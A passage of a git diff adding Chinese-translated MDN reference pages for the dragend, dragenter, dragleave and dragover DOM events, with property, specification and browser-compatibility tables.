scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>The element that was underneath the element being dragged.</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>事件类型。</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>是否允许冒泡</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>默认行为是否可以取消</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>绑定事件监听的DOM结点</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td> + <p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">当事件触发的时候，如果<strong>Ctrl</strong>键是按下的，这个值就是<strong>true</strong>,否则就是<strong>false</strong></span></font></p> + </td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td> + <p><font face="consolas, Liberation Mono, courier, monospace">当事件触发的时候，如果<strong>Shift</strong>键是按下的，这个值就是<strong>true</strong>,否则就是<strong>false</strong></font></p> + </td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><font face="consolas, Liberation Mono, courier, monospace">当事件触发的时候，如果<strong>Alt</strong>键是按下的，这个值就是<strong>true</strong>,否则就是<strong>false</strong></font></td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><font face="consolas, Liberation Mono, courier, monospace">当事件触发的时候，如果<strong>M</strong><strong>eta</strong>键是按下的，这个值就是<strong>true</strong>,否则就是<strong>false</strong></font></td> + </tr> + </tbody> +</table> + +<h2 id="示例：dropzone">示例：dropzone</h2> + +<p id="Example">{{page('/zh-CN/docs/Web/Events/dragstart', '示例：dropzone')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragend")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In Gecko, <code>dragend</code> is not dispatched if the source node is moved or removed during the drag (e.g. on <code>drop</code> or <code>dragover</code>). See {{bug("460801")}}.</p> + +<h2 id="相关">相关</h2> + +<ul> + <li>{{event("drag")}}</li> + <li>{{event("dragstart")}}</li> + <li>{{event("dragend")}}</li> + <li>{{event("dragover")}}</li> + <li>{{event("dragenter")}}</li> + <li>{{event("dragleave")}}</li> + <li>{{event("dragexit")}}</li> + <li>{{event("drop")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/dragenter_event/index.html b/files/zh-cn/web/api/document/dragenter_event/index.html new file mode 100644 index 0000000000..1cd2fce638 --- /dev/null +++ b/files/zh-cn/web/api/document/dragenter_event/index.html @@ -0,0 +1,249 @@ +--- +title: dragenter +slug: Web/API/Document/dragenter_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖拽 +translation_of: Web/API/Document/dragenter_event +--- +<div>当拖动的元素或被选择的文本进入有效的放置目标时， <code>dragenter</code> 事件被触发。</div> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>是否冒泡</td> + <td>是</td> + </tr> + <tr> + <td>是否可取消</td> + <td>是</td> + </tr> + <tr> + <td>目标对象</td> + <td>用户指定的元素或者body元素</td> + </tr> + <tr> + <td>接口</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>默认动作</td> + <td>取消拖动</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">属性</th> + <th scope="col">类型</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>被拖动的元素下面的元素。</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>事件类型</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>事件是否正常冒泡</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>事件是否已被取消?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>触发事件的元素</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>全局（屏幕）坐标中鼠标指针的X坐标。</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>全局（屏幕）坐标中鼠标指针的Y坐标。</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>本地（DOM内容）坐标中鼠标指针的X坐标。</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>本地（DOM内容）坐标中鼠标指针的Y坐标。</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>鼠标事件触发时按下的按钮号：左键= 0，中键= 1（如果存在），右键= 2。 对于配置为左手使用的鼠标，其中按钮操作反转，则值从右向左读取。</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>触发事件时屏幕的压力值, 介于0.0到1.0之间</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td>事件触发时ctrl键是否被按下</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td>事件触发时shift键是否被按下</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td>事件触发时alt键是否被按下</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td>事件触发时meta键是否被按下</td> + </tr> + </tbody> +</table> + +<h2 id="示例：dropzone">示例：dropzone</h2> + +<p id="Example">{{page('/zh-CN/docs/Web/Events/dragstart', '示例：dropzone')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragenter")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关">相关</h2> + +<ul> + <li>{{event("drag")}}</li> + <li>{{event("dragstart")}}</li> + <li>{{event("dragend")}}</li> + <li>{{event("dragover")}}</li> + <li>{{event("dragenter")}}</li> + <li>{{event("dragleave")}}</li> + <li>{{event("dragexit")}}</li> + <li>{{event("drop")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/dragleave_event/index.html b/files/zh-cn/web/api/document/dragleave_event/index.html new file mode 100644 index 0000000000..36f2995a13 --- /dev/null +++ b/files/zh-cn/web/api/document/dragleave_event/index.html @@ -0,0 +1,251 @@ +--- +title: dragleave +slug: Web/API/Document/dragleave_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖拽 +translation_of: Web/API/Document/dragleave_event +--- +<div>{{APIRef}}</div> + +<p>当一个被拖动的元素或者被选择的文本离开一个有效的拖放目标时，将会触发<code>dragleave</code> 事件。</p> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>Bubbles</td> + <td>Yes</td> + </tr> + <tr> + <td>Cancelable</td> + <td>No</td> + </tr> + <tr> + <td>Target objects</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>Interface</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>Default Action</td> + <td>None.</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>The element that was underneath the element being dragged.</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The node that had the event listener attached.</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="示例：dropzone">示例：dropzone</h2> + +<p id="Example">{{page('/zh-CN/docs/Web/Events/dragstart', '示例：dropzone')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragleave")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关">相关</h2> + +<ul> + <li>{{event("drag")}}</li> + <li>{{event("dragstart")}}</li> + <li>{{event("dragend")}}</li> + <li>{{event("dragover")}}</li> + <li>{{event("dragenter")}}</li> + <li>{{event("dragleave")}}</li> + <li>{{event("dragexit")}}</li> + <li>{{event("drop")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/dragover_event/index.html b/files/zh-cn/web/api/document/dragover_event/index.html new file mode 100644 index 0000000000..ff219820c0 --- /dev/null +++ b/files/zh-cn/web/api/document/dragover_event/index.html @@ -0,0 +1,253 @@ +--- +title: dragover +slug: Web/API/Document/dragover_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖拽 +translation_of: Web/API/Document/dragover_event +--- +<div>{{APIRef}}</div> + +<p>当元素或者选择的文本被拖拽到一个有效的放置目标上时，触发 <code>dragover </code>事件(每几百毫秒触发一次)。</p> + +<p>这个事件在可被放置元素的节点上触发。</p> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>是否冒泡</td> + <td>是</td> + </tr> + <tr> + <td>是否可以取消</td> + <td>是</td> + </tr> + <tr> + <td>目标对象</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>接口</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>默认行为</td> + <td>重置当前的拖拽动作为"none"</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>The element that was underneath the element being dragged.</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The node that had the event listener attached.</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="示例：dropzone">示例：dropzone</h2> + +<p>{{page('/zh-CN/docs/Web/Events/dragstart', '示例：dropzone')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "dragover")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + 